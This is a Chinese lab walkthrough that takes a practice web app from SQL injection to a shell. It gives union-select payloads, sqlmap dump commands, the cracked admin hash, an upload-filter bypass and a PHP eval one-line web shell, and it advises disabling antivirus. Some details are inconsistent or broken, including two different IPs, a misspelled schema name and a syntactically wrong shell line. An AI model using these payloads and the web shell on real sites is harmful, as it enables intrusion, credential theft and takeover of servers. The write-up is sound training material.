本题要求:通过sql注入,找到数据库中的账号密码,并成功登录。登录后利用文件上传,将一句话木马上传到数据库中,然后并对网站进行控制。
解题过程
1、通过在靶机中输入ifconfig,查到ip为192.168.80.153,在网站上输入ip,便会出现下面的页面
2、我们事先知道,这是道关于SQL注入的题。所以这时候我们就有两种办法来进行解题。
(1)、第一种就是在URL界面进行手注,然后发现成功报错,说明可行。
(2)、发现报错后,就尝试寻找它的列数有多少,这时候就需要order by 来进行了。
通过192.168.80.152/cat.php?id=1 order by 4 --+发现它的列数刚好为4。
(3)、找到列数,通过192.168.80.153/cat.php?id=-1 union select 1,2,3,4 --+ 查找回显点。发现2存在回显点。
(4)、查询库名、用户名
192.168.80.153/cat.php?id=-1 union select 1,database(),3,4 --+ ====> 查询库名
发现库名为photoblog
192.168.80.153/cat.php?id=-1 union select 1,user(),3,4 --+ ====> 查询用户名
发现用户名为pentesterlab@localhost
(5)、查询表名
192.168.80.153/cat.php?id=-1 union select 1,group_concat(table_name),3,4 from infomation_schema.tables where table_schema='photoblog' --+
发现查询到的表名有categories,pictures,users。我们的目标是找到账号和密码, 所以我们可以先从users来查。
(6)、查询列名
192.168.80.153/cat.php?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema='photoblog' and table_name='users' --+)
发现查询的列名有id,login,password。发现有login和password,我们就可以查看其中的内容了。
(7)、查询字段值
192.168.80.153/cat.php?id=-1 union select 1,group_concat(login,password),3,4 from users--+)
发现login为admin,password为8efe310f9ab3efeae8d410a8e0166eb2。通过观察发现,password是经过加密的,而且是经过md5加密,这时候我们就可以使用md5的工具来解密。
md5在线解密破解,md5解密加密 (cmd5.com)
解出来的密码是P4ssw0rd。
除去这种办法,还有一种办法是利用SQLmap。这种办法就较为便捷迅速了。
sqlmap -u 192.168.80.153 -D photoblog --dump --batch --crawl=2
这串指令 可以让数据库的内容全部显现出来,前提是知道数据库的名称
sqlmap -u 192.168.80.153 --dbs --dump --batch --crawl=2
这可以查询数据库名称。
3、找到账号密码,在admin界面进行登录
4、在这个界面,我们发现直接插入php文件是无法成功的,这时候我们就可以尝试上传php的畸形后缀文件。例如Php、php3等等。
这里,我们使用的是Php(进行代码编写的时候,记得关闭电脑的安全软件,不然容易被当做病毒杀掉。)
创建一个Php文件,里面输入一句话木马
<?php @eval($_REQUEST('x'));?>
5、发现上传成功,就可以使用第三方尝试连接,或者利用hackbar来进行测试(连接和测试的地址都是其注入的地址)
http://192.168.80.153/admin/uploads/123.Php
如果一句话木马测试后不起作用,可以将代码改成<?php phpinfo();?>
成功访问到phpinfo界面 就代表着成功了。